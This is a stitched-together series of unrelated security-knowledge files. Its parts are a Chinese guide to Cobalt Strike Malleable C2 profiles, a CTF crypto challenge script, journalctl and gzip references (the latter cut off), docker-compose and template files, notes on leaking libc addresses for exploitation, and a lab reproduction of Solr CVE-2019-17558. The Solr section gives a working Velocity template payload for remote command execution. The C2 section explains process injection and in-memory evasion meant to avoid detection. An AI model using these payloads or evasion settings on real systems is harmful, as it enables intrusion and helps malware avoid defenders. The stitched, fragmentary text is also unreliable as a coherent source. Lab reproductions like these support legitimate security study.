| null | null | Prepend text to payload stage delivered to DNS TXT record stager dns_stager_subhost | null | .stage.123456. | Subdomain used by DNS TXT record stager. dns_ttl | null | 1 | TTL for DNS replies host_stage | null | true | Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. jitter | null | 0 | Default jitter factor (0-99%) maxdns | null | 255 | Maximum length of hostname when uploading data over DNS (0-255) pipename | null | msagent_## | Name of pipe to use for SMB Beacon's peer-to-peer communication. ## is replaced with a number unique to your team server. pipename_stager | null | status_## | Name of pipe to use for SMB Beacon's named pipe stager. ## is replaced with a number. sample_name | null | My Profile | The name of this profile (used in the Indicators of Compromise report) sleeptime | null | 60000 | Default sleep time (in milliseconds) spawnto_x86 | null | %windir%\syswow64\rundll32.exe | Default x86 program to open and inject shellcode into spawnto_x64 | null | %windir%\sysnative\rundll32.exe | Default x64 program to open and inject shellcode into tcp_port | null | 4444 | TCP Beacon listen port uri | http-get,http-post | [required option] | Transaction URI uri_x86 | http-stager | null | x86 payload stage URI uri_x64 | http-stager | null | x64 payload stage URI useragent |null | Internet Explorer (Random) | Default User-Agent for HTTP comms. verb | http-get,http-post | GET,POST | HTTP Verb to use for transaction 以上都是简单的英语我也就懒的翻译了,使用URI可以将多个URI 指定为一个空格分隔的字符串,CS会自己处理。 ## Beacon HTTP Transaction HTTP请求 参数 Request | Component | Block | Data -|-|-|-| http-get | client | metadata | Session metadata http-get | server | output | Beacon's tasks http-post | client | id | Session ID http-post | client | output | Beacon's responses http-post | server | output | Empty http-stager | server | output | Encoded payload stage #### HTTP Staging Beacon是一个分阶段的payload,有效负载由stager下载并注入内存,在目标内存中有Beacon之前HTTP GET和HTTP POST不会生效。 Malleable C2的http-stager块可自定义HTTP分段过程。 ``` http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; ``` uri_x86选项设置URI下载x86的payload,uri_x64选项设置URI下载64位的payload 。 ## Self-signed Certificates with SSL Beacon HTTPS Beacon在其通信中使用HTTP Beacon的指示符,Malleable C2配置文件还可以指定Beacon C2服务器的自签名SSL证书的参数。 ``` https-certificate { set CN "bobsmalware.com"; set O "Bob's Malware"; } ``` 证书参数 Option | Example | Description -|-|-| C | US | Country CN | beacon.cobaltstrike.com | Common Name; Your callback domain L | Washington | Locality O | Strategic Cyber LLC | Organization Name OU | Certificate Department | Organizational Unit Name ST | DC | State or Province validity | 365 | Number of days certificate is valid for ## Valid SSL Certificates with SSL Beacon 可以选择将有效SSL证书与Beacon一起使用。使用Malleable C2配置文件指定Java密钥库文件和密码。此密钥库必须包含证书的私钥,根证书,任何中间证书以及SSL证书供应商提供的域证书。 Cobalt Strike在与Malleable C2配置文件相同的文件夹中找到Java Keystore文件。 ``` https-certificate { set keystore "domain.store"; set password "mypassword"; } ``` Option | Example | Description -|-|-| Option | Example | Description keystore | domain.store | Java Keystore file with certificate information password | mypassword | The password to your Java Keystore 以下是创建用于Cobalt Strike的Beacon的有效SSL证书的步骤: 1.使用keytool程序创建Java密钥存储文件。这个程序会询问“你的姓名是什么?” 确保使用完全权威的域名来响应Beacon服务器。另外,请确保记下密钥库密码,你以后会需要它。 `$ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store` 2.使用keytool生成证书签名请求(CSR),您将向您的SSL证书供应商提交此文件,他们将验证您的身份并颁发证书,有些供应商比其他供应商更容易和便宜。 `$ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store` 3.导入SSL供应商提供的Root和任何中间证书。 `$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store` 4.最后,您必须安装域证书。 `$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store` 就是这样就生成Cobalt Strike的Beacon一起使用的Java Keystore文件。 ## Code Signing Certificate >Attacks -> Packages -> Windows Executable and Windows Executable (S) 提供签署可执行文件或DLL文件的选项,需要 代码签名证书和私钥指定Java Keystore文件 ``` code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } ``` Option | Example | Description -|-|-| alias | server | The keystore's alias for this certificate digest_algorithm | SHA256 |The digest algorithm keystore | keystore.jks | Java Keystore file with certificate information password | mypassword | The password to your Java Keystore timestamp | false | Timestamp the file using a third-party service timestamp_url | http://timestamp.digicert.com | URL of the timestamp service ## PE and Memory Indicators Malleable C2 stage http-stager 控制Beacon如何加载到内存中并编辑Beacon DLL的内容。 ``` stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 { # transform the x64 rDLL stage } stringw "I am not Beacon!"; } ``` 当接受后将字符串添加到beacon dll的.rdata部分,string命令添加一个以zero-terminated的字符串。stringw命令添加了一个宽(utf-16le编码)字符串, Transform-x86和Transform-X64阻止PAD和Transform Beacon的反射DLL阶段。这些块支持三个命令:prepend、append和strrep. prepend命令在beacon的反射dll之前插入一个字符串,append命令在beacon-reflective dll后面添加一个字符串,确保预先准备好的数据是阶段体系架构(x86、x64)的有效代码,c2lint程序没有对此进行检查,strrep命令替换beacon反射dll中的字符串。 stage块接受Beacon DLL内容的选项: Option | Example | Description -|-|-| checksum | 0 | The CheckSum value in Beacon's PE header cleanup |false | Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. compile_time | 14 July 2009 8:14:00 | The build time in Beacon's PE header entry_point | 92145 | The EntryPoint value in Beacon's PE header image_size_x64 | 512000 | SizeOfImage value in x64 Beacon's PE header image_size_x86 | 512000 | SizeOfImage value in x86 Beacon's PE header module_x64 | xpsservices.dll | Same as module_x86; affects x64 loader module_x86 | xpsservices.dll | Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. name | beacon.x64.dll |The Exported name of the Beacon DLL obfuscate | false | Obfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. rich_header | null | Meta-information inserted by the compiler sleep_mask |false | Obfuscate Beacon, in-memory, prior to sleeping stomppe |true | Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload userwx | false | Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory ## Cloning PE Headers Cobalt Strike的Linux软件包,包括一个工具peclone,用于从dll中提取头文件并将其显示为一个随时可用的阶段块: `./peclone [/path/to/sample.dll]` ## In-memory Evasion and Obfuscation 使用stage块的prepend命令来破坏分析,该分析扫描内存段的前几个字节以查找注入的dll的迹象。如果使用特定于工具的字符串检测代理,请使用strrep命令更改它们。 如果strrep不够,请将sleep_mask设置为true。这将引导信标在进入睡眠状态之前在记忆中模糊自己。在休眠之后,信标会将自己的模糊处理为请求和处理任务。SMB和TCP信标在等待新连接或等待来自其父会话的数据时会使它们自己变得模糊。 决定您希望在内存中看起来有多像一个DLL。如果您希望方便检测,请将stomppe设置为false。如果您想在内存中稍微混淆信标dll,请将stomppe设置为true。如果你想挑战,将“模糊”设置为“真”。此选项将采取许多步骤来模糊信标阶段和内存中DLL的最终状态。 将userwx设置为false以询问beacon的加载器以避免rwx权限。具有这些权限的内存段将吸引分析师和安全产品的额外关注。 默认情况下,Beacon的加载程序使用virtualloc分配内存。模块踩踏是一种替代方法。将module_x86设置为一个大约是beacon有效载荷本身两倍大的dll。Beacon的x86加载程序将加载指定的dll,在内存中查找其位置并覆盖它。这是一种在内存中定位信标的方法,Windows将其与磁盘上的文件关联。您要驻留的应用程序不需要您选择的DLL,这一点很重要。模块_x64选项的情况相同,但它会影响x64信标。 如果您担心在内存中初始化beacon dll的beacon阶段,请将cleanup设置为true。此选项将在不再需要信标阶段时释放与之关联的内存。 ## Process Injection Malleable C2配置文件中的进程注入块可以注入内容并控制进程注入行为 ``` process-inject { set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; } transform-x64 { # transform x64 injected content } disable "CreateRemoteThread"; } ``` transform-x86和transform-x64阻止Beacon注入的PAD内容。这些块支持两个命令:prepend和append prepend命令在插入的内容之前插入一个字符串。append命令在注入的内容之后添加一个字符串。确保预先准备好的数据是注入内容体系结构(x86、x64)的有效代码。c2lint程序没有对此进行检查。 disable语句是避免在beacon的进程注入例程中使用某些API的提示。您可以禁用:sethreadcontext、createRemoteThread和rtlcreateUserThread。请注意,当您禁用这些调用时,可能会在Beacon的进程注入例程中引入可避免的失败。c2lint命令会发出一些警告。 process-inject块接受几个控制Beacon中的过程注入的选项 Option | Example | Description -|-|-| min_alloc | 4096 | Minimum amount of memory to request for injected content startrwx | true | Use RWX as initial permissions for injected content. Alternative is RW. userwx | false | Use RWX as final permissions for injected content. Alternative is RX. # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# Python 3 from signal import alarm from Crypto.Util.number import * p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201 g = 2 bits = size(p) with open("flag", "r") as f: flag = f.readline().strip().encode("latin1") m = bytes_to_long(flag) def run(fin, fout): alarm(1200) try: while True: line = fin.readline()[:4+bits//4] s = int(line, 16) # Note: input is HEX c = pow(g, m ^ s, p) fout.write(hex(c) + "\n") fout.flush() except: pass if __name__ == "__main__": run(sys.stdin, sys.stdout)
sec-knowleage
journalctl === 检索 systemd 日志,是 CentOS 7 才有的工具。 ### 语法 ```shell journalctl [OPTIONS...] [MATCHES...] ``` ### 选项 ```shell Flags: --system # 显示系统日志 --user # 显示当前用户的用户日志 -M --machine=CONTAINER # 在本地容器上操作 -S --since=DATE # 显示不早于指定日期的条目 -U --until=DATE # 显示不晚于指定日期的条目 -c --cursor=CURSOR # 显示从指定光标开始的条目 --after-cursor=CURSOR # 在指定光标后显示条目 --show-cursor # 在所有条目之后打印光标 -b --boot[=ID] # 显示当前启动或指定启动 --list-boots # 显示有关已记录引导的简洁信息 -k --dmesg # 显示当前启动的内核消息日志 -u --unit=UNIT # 显示指定单元的日志 -t --identifier=STRING # 显示具有指定系统日志标识符的条目 -p --priority=RANGE # 显示具有指定优先级的条目 -e --pager-end # 在pager中立即跳转到末尾 -f --follow # 关注期刊 -n --lines[=INTEGER] # 要显示的日志条目数 --no-tail # 显示所有行,即使在跟随模式下 -r --reverse # 首先显示最新的条目 -o --output=STRING # 更改日志输出模式 (short, short-iso, short-precise, short-monotonic, verbose, export, json, json-pretty, json-sse, cat) --utc # 以协调世界时 (UTC) 表示的时间 -x --catalog # 在可用的情况下添加消息说明 --no-full # Ellipsize 字段 -a --all # 显示所有字段,包括长的和不可打印的 -q --quiet # 不显示特权警告 --no-pager # 不要将输出通过管道传输到寻呼机 -m --merge # 显示所有可用期刊的条目 -D --directory=PATH # 显示目录中的日志文件 --file=PATH # 显示日志文件 --root=ROOT # 对根目录下的目录文件进行操作 --interval=TIME # 更改 FSS 密封键的时间间隔 --verify-key=KEY # 指定FSS验证密钥 --force # 使用 --setup-keys 覆盖 FSS 密钥对 Commands: -h --help # 显示此帮助文本 --version # 显示包版本 -F --field=FIELD # 列出指定字段的所有值 --new-id128 # 生成新的 128 位 ID --disk-usage # 显示所有日志文件的总磁盘使用情况 --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下 --vacuum-time=TIME # 删除早于指定日期的日志文件 --flush # 将所有日志数据从 /run 刷新到 /var --header # 显示期刊头信息 --list-catalog # 显示目录中的所有消息 ID --dump-catalog # 在消息目录中显示条目 --update-catalog # 更新消息目录数据库 --setup-keys # 生成新的 FSS 密钥对 --verify # 验证日志文件的一致性 ``` ### 实例 **过滤输出** `journalctl` 可以根据特定字段过滤输出。如果过滤的字段比较多,需要较长时间才能显示出来。 示例: 显示本次启动后的所有日志: ```shell journalctl -b ``` 不过,一般大家更关心的不是本次启动后的日志,而是上次启动时的(例如,刚刚系统崩溃了)。可以使用 -b 参数: - `journalctl -b -0` 显示本次启动的信息 - `journalctl -b -1` 显示上次启动的信息 - `journalctl -b -2` 显示上上次启动的信息 `journalctl -b -2` 只显示错误、冲突和重要告警信息 ```shell journalctl -p err..alert ``` 也可以使用数字, `journalctl -p 3..1`。如果使用单个 number/keyword,则 `journalctl -p 3` - 还包括所有更高的优先级。 显示从某个日期 ( 或时间 ) 开始的消息: ```shell journalctl --since="2012-10-30 18:17:16" ``` 显示从某个时间 ( 例如 20分钟前 ) 的消息: ```shell journalctl --since "20 min ago" ``` 显示最新信息 ```shell journalctl -f ``` 显示特定程序的所有消息: ```shell journalctl /usr/lib/systemd/systemd ``` 显示特定进程的所有消息: ```shell journalctl _PID=1 ``` 显示指定单元的所有消息: ```shell journalctl -u man-db.service ``` 显示内核环缓存消息r: ```shell journalctl -k ``` **手动清理日志** `/var/log/journal` 存放着日志, `rm` 应该能工作. 或者使用 `journalctl`, 例如: 清理日志使总大小小于 100M: ```shell journalctl --vacuum-size=100M ``` 清理最早两周前的日志. ```shell journalctl --vacuum-time=2weeks ```
sec-knowleage
<!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <html xmlns:th="http://www.thymeleaf.org"> <head> <!--/*/ <th:block th:include="fragments/head :: head"/> /*/--> </head> <body> <div class="container-fluid"> <div class="row"> <div class="box col-md-6 col-md-offset-3"> <div class="custom-header"> <img src="http://shiro.apache.org/assets/images/apache-shiro-logo.png"/> </div> <div class="logo"> <h1 th:text="${errors.status}"></h1> </div> <p class="lead text-muted" th:text="${errors.message}">Unauthorized</p> <a href="/" class="btn btn-primary">Go Home</a> </div> </div> </div> </body> </html>
sec-knowleage
version: '3' services: rmi: build: "." ports: - 1099:1099 environment: - RMIIP=192.168.31.88
sec-knowleage
# Apache Solr Remote Code Execution Via Velocity Custom Template (CVE-2019-17558) [中文版本(Chinese version)](README.zh-cn.md) Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene(TM). Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user). References: - https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - https://issues.apache.org/jira/browse/SOLR-13971 - https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133 - https://github.com/jas502n/solr_rce ## Setup ``` docker compose up -d ``` ## Vulnerability Reproduce First of all, you need to get all cores name through the following API: ``` http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json ``` The `demo` is the only core here: ![](1.png) Enable the `params.resource.loader.enabled` config through the following API, the API endpoint is `/solr/[core name]/config`: ``` POST /solr/demo/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } ``` Then, trigger the vulnerability by Velocity template: ``` http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end ``` ![](2.png)
sec-knowleage
version: '2' services: nginx: image: nginx:1 volumes: - ./www:/usr/share/nginx/html - ./default.conf:/etc/nginx/conf.d/default.conf depends_on: - php ports: - "8080:80" php: image: php:7.2.10-fpm volumes: - ./www:/var/www/html
sec-knowleage
# 获取地址 在漏洞利用的过程中,我们常常需要获取一些变量,函数的地址,以便于能够进行进一步的利用。这里我将获取地址的方法分为如下几类 - 直接寻找地址,即我们可以通过反编译等手段直接看到对应符号的地址。 - 泄漏地址,即需要我们通过控制程序的执行流来泄漏程序中的某些符号指针的内容,来获取对应的地址。 - 推测地址,这里我们一般常用的就是根据某个段内的符号之间的偏移是固定的,从而来推断一些新的符号的地址。 - 猜测地址,一般主要指的是,我们需要自己去猜测对应符号的地址,这里伴随的往往就是暴力枚举了。 上述几种方法,是一种递进地考虑方式,我们在获取相关符号的地址时,应保持这样的思考方式。 在上面的几种方式中,我认为主要有两点核心思想 - 充分利用代码本身的性质,比如程序某些代码的位置就是固定的,如不开启 PIE 时,代码段的位置;再比如,glibc 的后三位是固定的。 - 充分利用相对偏移的性质,这是由于目前程序加载时往往加载的内存都是一段一段的,所以相对偏移往往是固定的。 更加具体的,我们可以看如下的介绍。 ## 直接寻找地址 程序中已经给出了相关变量或者函数的地址了。这时候,我们就可以直接进行利用了。 这种情形往往适用于程序没有开启 PIE 的情况。 ## 泄漏地址 在泄漏地址的过程中,我们往往需要找到一些敏感的指针,这些指针里存储着要么就是我们想要的符号的地址,要么就是与我们想要的符号的地址相关。 下面给出几个例子。 ### 泄漏变量指针 比如 1. 泄漏 main arena 中各种 bin 的头表指针,可能就可以获取堆中或者 glibc 中某个变量的地址。 ### 泄漏 got 表 有时候我们并不一定非得直接知道某个函数的地址,可以利用 GOT 表跳转到对应函数的地址。当然,如果我们非得知道这个函数的地址,我们可以利用 write,puts 等输出函数将 GOT 表中地址处对应的内容输出出来(**前提是这个函数已经被解析一次了**)。 ### ret2dl-resolve 当 ELF 文件采用动态链接时,got 表会采用延迟绑定技术。当第一次调用某个 libc 函数时,程序会调用_dl_runtime_resolve 函数对其地址解析。因此,我们可以利用栈溢出构造 ROP 链,伪造对其他函数(如:system)的解析。这也是我们在高级 rop 中介绍的技巧。 ### /proc/self/maps 我们可以考虑通过读取程序的 `/proc/self/maps`来获取与程序相关的基地址。 ## 推测地址 在大多数情况下,我们都不能直接获取想要的函数的地址,往往需要进行一些地址的推测,正如上面所说,这里就重点依赖于符号间的偏移是固定的这一思想。 ### Stack Related 关于栈上的地址,其实我们大多时候并不需要具体的栈地址,但是我们可以根据栈的寻址方式,推测出栈上某个变量相对于 EBP 的位置。 ### Glibc Related 这里主要考虑的是如何找到 Glibc 中相关的函数。 #### 有 libc 这时候我们就需要考虑利用 libc 中函数的基地址一样这个特性来寻找了。比如我们可以通过 __libc_start_main 的地址来泄漏 libc 在内存中的基地址。 **注意:不要选择有 wapper的函数,这样会使得函数的基地址计算不正确。** 常见的有wapper 的函数有?(待补充)。 #### 无 libc 其实,这种情况的解决策略分为两种 - 想办法获取 libc - 想办法直接获取对应的地址。 而对于想要泄露的地址,我们只是单纯地需要其对应的内容,所以 puts , write,printf 均可以。 - puts,printf 会有 \x00 截断的问题 - write 可以指定长度输出的内容。 下面是一些相应的方法 ##### `pwnlib.dynelf` 前提是我们可以泄露任意地址的内容。 - **如果要使用 write 函数泄露的话,一次最好多输出一些地址的内容,因为我们一般是只是不断地向高地址读内容,很有可能导致高地址的环境变量被覆盖,就会导致 shell 不能启动。** ##### libc 数据库 ```shell # 更新数据库 ./get # 将已有libc添加到数据库中 ./add libc.so # Find all the libc's in the database that have the given names at the given addresses. ./find function1 addr function2 addr # Dump some useful offsets, given a libc ID. You can also provide your own names to dump. ./dump __libc_start_main_ret system dup2 ``` 去 libc 的数据库中找到对应的和已经出现的地址一样的 libc,这时候很有可能是一样的。 也可以使用如下的在线网站: - [libcdb.com](http://libcdb.com) - [libc.blukat.me](https://libc.blukat.me) **当然,还有上面提到的 https://github.com/lieanu/LibcSearcher。** ### Heap related 关于堆的一些地址的推测,这就需要我们比较详细地知道堆里分配了多少内存,目前泄漏出的内存地址是哪一块,进而获取堆的基地址,以及堆中相关的内存地址。 ## 猜测地址 在一些比较奇怪的情况下,我们可能可以使用如下的方式 - 使用一些暴力的方法来获取地址,比如 32 位时,地址随机化的空间比较小。 - 当程序被特殊部署时,其不同的库被加载的位置可能会比较特殊。我们可以在本地尝试,然后猜测远程的情况。
sec-knowleage
.\" 中文版版权所有 Liu JingSong, www.linuxforum.net 2000 .\" 本文档可在遵照LDP GENERAL PUBLIC LICENSE,Version 1, September 1998 .\" 中描述的条件下进行复制,且该文件发布时必须包含该文档. .TH GZIP 1 local .SH NAME gzip, gunzip, zcat \- 压缩或展开文件 .SH 总揽 .ll +8 .B gzip .RB [ " \-acdfhlLnNrtvV19 " ] .RB [ \-S\ 后缀 ] [ .I "文件名 \&..." ] .ll -8 .br .B gunzip .RB [ " \-acfhlLnNrtvV " ] .RB [ \-S\ 后缀 ] [ .I "文件名 \&..." ] .br .B zcat .RB [ " \-fhLV " ] [ .I "文件名 \&..." ] .SH 描述 .I Gzip 采用Lempel-Ziv 编码算法(LZ77)压缩给定文件的大小。 在可能的情况下, 每个文件被具有扩展名 .B "\&.gz," 的文件所替换, 同时保留原属主状态,存取和修改时间 (在VMS系统下缺省扩展名为 .B "\-gz" 在MSDOS、OS/2 FAT, Windows NT FAT 和Atari系统下,缺省扩展名为 .B "z" ) 如果未指定文件名,或者指定了一个名为"-"的文件名,则从标准输入读取数据,压缩的 结果输出到标准输出。 .I Gzip 只尝试压缩常规文件,特别地,它将忽略符号连接。 .PP 如果压缩后的文件名对于所在的文件系统来说太长, .I gzip 会将其截断。 .I Gzip 只尝试截断文件名中大于3个字符的段(每个段由点分隔)。如果文件名只由较小的段 组成,最长的段将被截断。例如,如果文件名的长度限制是14个字符,文件gzip.msdos.exe 将被压缩为gzi.msd.exe.gz。在没有文件名长度限制的系统中,文件名将不会被截断。 .PP 缺省情况下, .I gzip 将原始文件名和时间信息保存在压缩后的文件中。 当采用 .B \-N 选项解压缩文件时,这些信息将被利用。在经过文件传输后文件名被截断及时间信息 未被保留的情况下,这些信息将将用于恢复文件名及时间信息。 .PP 用 .I gzip -d 或者 .I gunzip 以及 .I zcat. 可以将压缩后的文件恢复到原始的形式。如果保留在压缩文件中的原始文件名不适合 于当前的文件系统,将根据原文件名新建一个合法的文件名。 .PP .I gunzip 将命令行中以.gz, -gz, .z, -z, _z 或 .Z结尾并具有正确标志头的文件 解压缩,并以去掉扩展名的解压缩文件替换原文件。 .I gunzip 也能识别扩展名为 .B "\&.tgz" 和 .B "\&.taz" 的文件,并将其分别当作 .B "\&.tar.gz" 和 .B "\&.tar.Z" 的缩写。 在压缩时,如果采用 .B "\&.tar" 扩展名则需要对文件名进行截断处理时, .I gzip 将采用 .B "\&.tgz" 作为扩展名。 .PP .I gunzip 目前能够解压由 .I gzip, zip, compress, compress -H 以及 .I pack 产生的文件。 对输入格式的检测是自动的。当采用前两种格式时, .I gunzip 检查一个32位的CRC校验码。对于 .I pack, gunzip 则检查压缩前的数据长度。标准的 .I compress 格式的设计无法实现一致性检查。但有时 .I gunzip 仍然能检测到坏的.Z文件。如果你在解压一个.Z文件时出现错误,不要简单地因为标准的 .I uncompress 没有报错就认定.Z文件是正确的。 这通常意味着标准的 .I uncompress 没有检查它的输入数据,而盲目地产生了错误的输出。SCO的compress -H格式(lzh压缩方 法)不包含CRC校验码,但也允许一些一致性检查。 .PP 由 .I zip 生成的文件, 如果其内容只有一个文件并且是以'deflation'方式压缩的,则可 由gzip解压。这一特性只是为了方便将tar.zip 格式的文件转换为tar.gz格式而加入的。 要解压含有多个文件的zip文件,请用 .I unzip. .PP .I zcat 的功能与 .I gunzip .B \-c. 相同。 (在一些系统中, .I zcat 可能被安装成 .I gzcat 以保留 .I compress 与zcat的原有连接。) .I zcat 将命令行中列出的文件或由标准输入输入的数据解压,解压后的数据写到标准输出。 .I zcat 解压具有正确标志头的文件,而不管其是否带有 .B "\&.gz" 后缀。 .PP .I Gzip 采用 .I zip 和 PKZIP 中所采用的Lempel-Ziv算法。得到的压缩比依赖于输入数据的大小以及公用 子串的分布。例如源程序和英文文档能够压缩60\-70%。 压缩比通常比LZW( .IR compress 采用的算法)、Huffman编码( .IR pack 所采用的算法)、以及自适应Huffman编码( .RI compact ) 等方法要好得多。 .PP 即使压缩后的文件略大于原文件,压缩也照样进行。最坏的情况下,多出的数据包括 gzip文件头中的若干个字节,加上每块32K的5个字节,或者,对于大文件来说0.015% 的放大率。注意实际占用的硬盘块数目几乎从不增加。 .I gzip 在压缩和解压缩时保留原文件的属主和时间信息。 .SH 选项 .TP .B \-a --ascii Ascii文本模式:按本地习惯转换行结束符。该选项仅在一些非Unix 系统上有效。 对于MSDOS,在压缩时CR LF(译注:即回车和换行符)被转换为LF,在解压时LF被 转换为CR LF。 .TP .B \-c --stdout --to-stdout 将结果写到标准输出;原文件保持不变。如果有多个输入文件,输出将由一系列 独立的压缩文件组成。如果想得到较好的压缩率,在压缩前应将多个文件连在一起。 .TP .B \-d --decompress --uncompress 解压缩。 .TP .B \-f --force 强制压缩和解压缩,即使指定文件具有多重连接,或相应文件已经存在,或压缩数据 来自或写往一个终端。 如果输入数据是 .I gzip 无法识别的格式,同时在命令行中也给出了--stdout选项,gzip将把输入数据拷贝至标准 输出而不做任何改动,就象cat所做的一样。 如果未给出 .B \-f 选项,并且未在后台运行, .I gzip 会提示用户以确认是否覆盖一个已存在的文件。 .TP .B \-h --help 显示帮助信息然后退出。 .TP .B \-l --list 列出每个压缩文件的如下项目: compressed size: 压缩文件的长度 uncompressed size: 压缩前文件的长度 ratio: 压缩率(如果未知则为0.0%) uncompressed_name: 压缩前的文件名 对于非gzip格式的文件,压缩前文件长度显示为-1,例如由compress压缩的.Z文件。 可用下列命令得到这种文件压缩前的长度: zcat file.Z | wc -c 如果同时指定了--verbose选项,下列项目也被列出: method: 压缩方式 crc: 未压缩数据的32位CRC校验码 date & time: 压缩前文件的时间信息 目前支持的压缩方式有deflate、compress、lzh(SCO下的compress -H)以及pack等方式。 对于非gzip格式的文件,crc校验码显示为ffffffff。 若指定了--name选项,如果有的话,压缩前文件名,日期以及时间是保存在压缩文件中 的内容。 若指定了--verbose选项,还将列出所有文件的长度总和,除非某些文件的长度未知。 若指定--quiet选项,将不显示标题和合计两行内容。 .TP .B \-L --license 显示 .I gzip 的许可证信息然后退出。 .TP .B \-n --no-name 在压缩时,缺省不保留原始文件名和时间信息。(如果必须对文件名作截断处理, 则原始文件名总是被保存。) 在解压缩时,即使有也不恢复原始文件名(仅将压 缩文件名中的 .I gzip 后缀去掉)和时间信息(拷贝压缩文件中相应信息)。该选项是压缩时的缺省选项。 .TP .B \-N --name 在压缩时总是保存原始文件名和时间信息;该选项为缺省选项。在解压缩时,如果 存在原始文件名和时间信息则恢复之。该选项可用于对文件名长度有限制的系统, 以及经过文件传输后丢失时间信息的情况。 .TP .B \-q --quiet 压制所有警告信息。 .TP .B \-r --recursive 递归地访问目录结构。如果命令行中有目录名, .I gzip 将进入目录并压缩所有找到的文件(如果执行的命令是 .I gunzip 则对其解压缩)。 .TP .B \-S .suf --suffix .suf 采用.suf后缀取代.gz后缀。可以指定任何后缀,但应避免使用除了.z和.gz以外 的其它后缀,以免文件传输到其它系统时发生混淆。一个空后缀将迫使gunzip 解压缩所有文件而不管它具有什么样的后缀,例如: gunzip -S "" * (在MSDOS下用*.*替换*) 以前版本的gzip采用.z后缀。为了避免与 .IR pack "(1)". 冲突,后来作了改动。 .TP .B \-t --test 测试。检查压缩文件的完整性。 .TP .B \-v --verbose 详尽模式。显示每个压缩或解压缩文件的名字和压缩率。 .TP .B \-V --version 版本。显示版本号和编译选项后退出。 Version. Display the version number and compilation options then quit. .TP .B \-# --fast --best 用指定的数字 .IR # 调整压缩速度, 其中 .B \-1 及 .B \-\-fast 对应最快压缩方式(压缩率较低), .B \-9 及 .B \-\-best 对应最慢压缩方式(压缩率最佳)。缺省的压缩级别为 .BR \-6 (也就是说,以速度为代价偏向于高压缩率)。 .SH "高级用法" 多个被压缩的文件可以连在一起。在这种情况下, .I gunzip 能一次解压所有文件。例如: gzip -c file1 > foo.gz gzip -c file2 >> foo.gz 然后 gunzip -c foo 上面的命令等价于 cat file1 file2 如果.gz文件中的某一个文件损坏,其他文件仍可以恢复(如果损坏的文件被删除的话)。 而且一次压缩所有文件能得到较好的压缩率: cat file1 file2 | gzip > foo.gz 上面用法的压缩率比下面用法的高: gzip -c file1 file2 > foo.gz 如果想重新压缩连接起来的文件以得到较高的压缩率,可以用下面的命令: gzip -cd old.gz | gzip > new.gz 如果一个压缩文件由多个文件组成,--list选项只能列出最后一个成员的 解压后文件长度和CRC校验码。如果需要所有成员的解压后文件长度,可用如下命令: gzip -cd file.gz | wc -c 如果想要产生一个具有多个成员的存档文件,以便将来能够独立地取出其中的成员, 可以用tar或zip这样的归档软件。GNU tar支持-z选项,可直接调用gzip。gzip设计为 tar的补充,而非它的取代物。 .SH "环境变量" 环境变量 .B GZIP 能够控制一系列 .I gzip 的缺省选项。 这些选项被首先解释,并且能被命令行参数中的直接定义覆盖。例如: 在sh下: GZIP="-8v --name"; export GZIP 在csh下: setenv GZIP "-8v --name" 在MSDOS下: set GZIP=-8v --name 在Vax/VMS系统中,为了避免与调用该程序的符号设置冲突,该环境变量名为GZIP_OPT。 .SH "另见" znew(1), zcmp(1), 